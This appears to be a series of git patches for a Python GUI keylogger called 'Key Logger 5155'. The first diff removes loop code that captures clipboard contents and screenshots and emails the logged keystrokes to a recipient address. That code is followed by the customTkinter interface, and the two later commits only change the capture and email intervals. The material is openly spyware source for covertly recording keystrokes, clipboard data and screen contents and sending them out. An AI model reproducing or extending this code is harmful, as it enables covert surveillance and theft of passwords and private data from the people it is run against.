CLIPBOARD_INTERVAL: - try: - copy_clipboard() - except Exception as e: - logging.error(f"Clipboard error: {e}") - last_clipboard = now - - # Screenshot capture - if now - last_screenshot >= SCREENSHOT_INTERVAL: - try: - screenshot() - except Exception as e: - logging.error(f"Screenshot error: {e}") - last_screenshot = now - - # Email send - if now - last_email >= EMAIL_INTERVAL: - if email_address and password and toAddr: - try: - send_email(keys_information, keys_information, toAddr) - except Exception as e: - logging.error(f"Email send failed: {e}") - last_email = now - - time.sleep(LOOP_SLEEP) - - listener.stop() - btnStr.set("Start Keylogger") - listener = Listener(on_press=on_press) - - - -# Function to handle button click event -def on_button_click(): - global state, toAddr, listener, stopFlag, receiver_entry, btnStr - toAddr = receiver_entry.get() - - current_state = receiver_entry.cget("state") - - if current_state == 'normal': - receiver_entry.configure(state="disabled") - btnStr.set("Starting...") - else: - receiver_entry.configure(state="normal") - btnStr.set("Stopping...") - if state == 0: - state = 1 - print(state) - stopFlag = False - thread = threading.Thread(target=start_logger) - thread.start() - elif state == 1: - state = 0 - print(state) - stopFlag = True - btnStr.set("Start Keylogger") - - -# Create the root window -set_appearance_mode("dark") -root = CTk() # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter -root.geometry("800x600") -root.resizable(False, False) -root.protocol("WM_DELETE_WINDOW", on_closing) - -# Main frame to hold all widgets and center them -main_frame = CTkFrame(root, fg_color="transparent") -main_frame.pack(expand=True) - -# Set initial button text -btnStr = StringVar() -btnStr.set("Start Keylogger") - -# Load and set icon on Title bar -base_dir = os.path.dirname(os.path.abspath(__file__)) -icon_path = os.path.join(base_dir, "data", "cracking.ico") -img_path = os.path.join(os.path.dirname(__file__), "cracking.png") -image = Image.open(img_path) - -icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico") -root.after(201, lambda: root.iconbitmap(icon_path)) -image = Image.open(img_path) - -resize_image = image.resize((300, 300)) -img = CTkImage(light_image=resize_image, size=(240, 240)) -icon = CTkLabel(main_frame, image=img, text="") -icon.pack(pady=(20, 0)) - -# Set window title -root.title("Key Logger 5155") - -# Display title label -Title = CTkLabel(main_frame, text="Key Logger 5155", font=("Cascadia Code", 50, "bold"), text_color="#00ff00") -Title.pack(pady=(10, 20)) - -# Frame for input widgets -InputFrame = CTkFrame(main_frame, fg_color="transparent") -InputFrame.pack(pady=10) - -# Widgets for email address entry -receiver_label = CTkLabel(InputFrame, text="Recipient's E-mail Address : ", font=("Cascadia Code", 13, "bold"), - text_color="#00ff00") -receiver_entry = CTkEntry(InputFrame, width=300, font=("Cascadia Code", 13, "bold"), - placeholder_text="Enter recipient's email...", border_color="#00ff00", border_width=2) -receiver_entry.grid(row=0, column=1, padx=10) -receiver_label.grid(row=0, column=0) - -# Button to start/stop keylogger -button = CTkButton(main_frame, textvariable=btnStr, command=on_button_click, width=200, - font=("Cascadia Code", 13, "bold"), fg_color="#00ff00", hover_color="#008F11", - text_color="#000000", corner_radius=6, border_width=2, border_color="#000000") -button.pack(pady=20) - -# Run the main event loop -root.mainloop() \ No newline at end of file From 434c5c395a155e0001e7a5914e23a6e441253400 Mon Sep 17 00:00:00 2001 From: mukeshdhadhariya Date: Sun, 26 Oct 2025 23:14:21 +0530 Subject: [PATCH 4/5] feat(zip): create zip bundle of logs & send via email --- app/guikeylogger.py | 6 +++--- config.json | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/app/guikeylogger.py b/app/guikeylogger.py index 85d9d42..799fa74 100644 --- a/app/guikeylogger.py +++ b/app/guikeylogger.py @@ -109,9 +109,9 @@ def load_config(): SCREENSHOT_DIR = paths["screenshot_dir"] intervals = config["intervals_seconds"] -SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 9)) -EMAIL_INTERVAL = int(intervals.get("email_interval", 9)) -CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 3)) +SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) +EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) +CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) data_dir = _DEFAULT_CONFIG["paths"]["data_dir"] diff --git a/config.json b/config.json index cbad011..64933e3 100644 --- a/config.json +++ b/config.json @@ -7,9 +7,9 @@ "screenshot_dir": "data/screenshots" }, "intervals_seconds": { - "screenshot_interval": 9, - "email_interval": 9, - "clipboard_interval": 3, + "screenshot_interval": 900, + "email_interval": 900, + "clipboard_interval": 30, "loop_sleep": 1 }, "screenshots": { From 475dd0e66ebcdd9f22aea19da7d554253e7aca1b Mon Sep 17 00:00:00 2001 From: THE MUKESH DHADHARIYA <163722787+mukeshdhadhariya@users.noreply.github.com> Date: Mon, 27 Oct 2025 08:37:23 +0530 Subject: [PATCH 5/5] feat(default): default --- app/guikeylogger.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/guikeylogger.py b/app/guikeylogger.py index 799fa74..277b1ba 100644 --- a/app/guikeylogger.py +++ b/app/guikeylogger.py @@ -42,9 +42,9 @@ } , "intervals_seconds": { - "screenshot_interval": 9, - "email_interval": 9, - "clipboard_interval": 3, + "screenshot_interval": 900, + "email_interval": 900, + "clipboard_interval": 30, "loop_sleep": 1 }, "screenshots": {"keep_latest": 10}, @@ -556,4 +556,4 @@ def on_button_click(): button.pack(pady=20) # Run the main event loop -root.mainloop() \ No newline at end of file +root.mainloop()